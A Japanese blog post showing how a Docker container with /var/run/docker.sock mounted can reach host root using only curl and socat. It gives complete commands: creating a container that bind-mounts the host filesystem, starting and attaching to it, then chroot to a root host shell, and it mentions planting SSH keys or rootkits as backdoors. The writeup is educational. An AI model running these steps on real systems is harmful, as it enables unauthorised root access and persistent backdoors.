knqyf263's blog

自分のためのメモとして残しておくためのブログ。

curlで始めるDockerコンテナからの脱出

リアル脱出ゲームやりたいなーと思ってたのでそれっぽいタイトルにしてみましたが、 /var/run/docker.sock をDockerコンテナにマウントするとroot権限相当のことが出来る、という詳しい人なら普通に知ってる話です。

ですが、ただ普通に試しても面白くないしdockerコマンド使わずにやってみた、というライトな記事です。

概要

/var/run/docker.sock をマウントしたDockerコンテナからホストのrootを取るまで、一切dockerコマンドを使わずにやってみたというひねくれた話です。alpineとかだとcurlも入ってないし、dockerコマンドを使うのに比べて攻撃しやすいとかそういうのは全くなく、深く知るためにやってみただけです。何の意味があるの?と聞かれれば何も意味ありませんと答えます。

さらに言うと、curl/socatの話がメインになっていてホストへの脱出とかもはや関係ないという説もあります。

環境

  • ホストOS:Ubuntu 16.04
  • コンテナイメージ:alpine:3.7
    • /var/run/docker.sock をマウント

Dockerなので特に環境は関係ないはずですが、一応書いておきます。

詳細

まず前提として、 /var/run/docker.sock をマウントしたDockerコンテナがあるとします。

root@ubuntu-xenial:~# docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine:3.7 sh
/ #

ここに侵入された場合にホストのrootをどうやって取るか、を説明します。

すでに知っている人も多いと思いますが、Dockerは通常だと /var/run/docker.sockUNIXドメインソケットでHTTPサーバが待ち受けています。Dockerコマンドを実行するとHTTPリクエストが発行されて、サーバが実際に処理します。 なので、curlなどを使ってDocker操作が可能です。

上のalpineに侵入されたとしてcurlでDockerを操作してみます。 まず先に必要なコマンドをインストールします。 この時点でdockerコマンド入れたほうが確実に楽です。

/ # apk add --update curl socat

コンテナ作成

ではまずコンテナを作成します。 コンテナ作成のエンドポイントは /containers/create です。

Docker Engine API v1.37 Reference

POSTするJSONの値で作成するコンテナのオプションが指定できます。 --unix-socketUNIXドメインソケットのpathを指定しています。

/ # curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create?name=attack -d '{
  "Image": "alpine:3.7",
  "Cmd": ["/bin/sh"],
  "OpenStdin":true,
  "Mounts": [
    {
      "Type": "bind",
      "Source": "/",
      "Target": "/host"
    }
  ]
}'
{"Id":"0644be52881892f5f7dc311611933c979eb030eec5d9b11d0707c47b2bdff38c","Warnings":null}

上の例では、ホストの / をコンテナの /host にマウントしています。 利用するイメージは alpine:3.7 で、CMDには /bin/sh を指定しています。 コンテナ名は何でも良いですが attack にしています。

この状態でホストのdockerコマンドで一覧を見てみます。

root@ubuntu-xenial:~# docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                         PORTS               NAMES
0644be528818        alpine:3.7          "/bin/sh"           2 minutes ago       Created                                            attack

STATUSがCreatedになっています。そういうSTATUSがあるのを今まで意識してませんでした。 この状態だと起動していないので、コンテナを起動します。

コンテナ起動

先程のコンテナ名を指定してcurlコマンドを実行します。 コンテナ起動は containers/{id}/start です。

Docker Engine API v1.37 Reference

curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/attack/start

これで準備は完了です。

コンテナアタッチ

上で作成したコンテナにattachしてみます。

Docker Engine API v1.37 Reference

コンテナ内でコマンドを叩くだけならcurlで良いのですが、interactiveに操作しようとするとraw streamが返って来るのでcurlだと困ります(知らないだけでオプションあるかもですが)。

今回はsocatを使います。socatでHTTPリクエストを送るとそのままソケットが開かれるので、コマンドを打ったり出来ます。 以下のようなHTTPリクエストを送ります。

POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

いちいち打つの面倒なのでパイプで渡します。

(cat <<EOF
POST /containers/attack/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
EOF
cat - ) | socat - UNIX-CONNECT:/var/run/docker.sock


HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

[コマンド打てる]

レスポンスが返ってきて、そのままコマンドが打てます。 このコマンドは新しく起動したコンテナ内で実行されます。 このコンテナは /host にホストのrootディレクトリをマウントしているので、chrootすればホストの操作が可能です。

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

chroot /host
obash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
)groups: cannot find name for group ID 11
iTo run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@0644be528818:/# cat /etc/hostname
ubuntu-xenial
root@0644be528818:/# ps aux
...
root     14209  0.0  0.0   1560     4 ?        Ss   01:56   0:00 /bin/sh
root     14231  0.0  0.0      0     0 ?        S    01:56   0:00 [kworker/1:2]
root     14254  0.0  0.0   1508     4 pts/0    S+   02:10   0:00 cat -
root     14255  0.0  0.1  11876  1568 pts/0    S+   02:10   0:00 socat - UNIX-CONNECT:/var/run/docker.sock
root     14258  0.0  0.3  18224  3260 ?        S    02:11   0:00 /bin/bash -i
root     14270  0.0  0.2  34424  2880 ?        R    02:12   0:00 ps aux

表示は見やすいように少しいじっていますが、hostnameにはホストの ubuntu-xenial が表示され、psコマンドでホストのプロセスが見えています。

ということであとはSSHの鍵でも置けば自由に入れますし、rootkitでも置いてバックドア化すればいつでもログイン可能になります。

まとめ

Dockerの操作はUNIXドメインソケット経由で可能なのでcurlでも普通に実行できます。 ただシェルを操作するときにcurlだと出来なくて困ってたのですが、socatで出来ました。socat万能。 curlとsocatで docker run 相当のことが出来ると知っておくと何か便利なことがあるかもしれません。